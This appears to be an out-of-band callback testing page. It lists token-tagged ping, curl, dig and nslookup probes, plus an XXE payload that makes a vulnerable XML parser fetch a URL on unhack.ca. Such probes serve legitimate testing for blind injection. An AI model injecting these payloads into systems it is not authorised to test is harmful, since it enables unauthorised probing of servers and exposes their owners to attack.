$ ping -c1 -p 00fafc1853972d43471ea50ed10de000 unhack.ca
 
$ curl http://unhack.ca/p/fafc1853972d43471ea50ed10de0
 
$ dig fafc1853972d43471ea50ed10de0 @unhack.ca
 
$ dig fafc1853972d43471ea50ed10de0.ns.unhack.ca
 
C:\> nslookup fafc1853972d43471ea50ed10de0 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/fafc1853972d43471ea50ed10de0">]>
    <foo>&xxe;</foo>
Waiting for ping...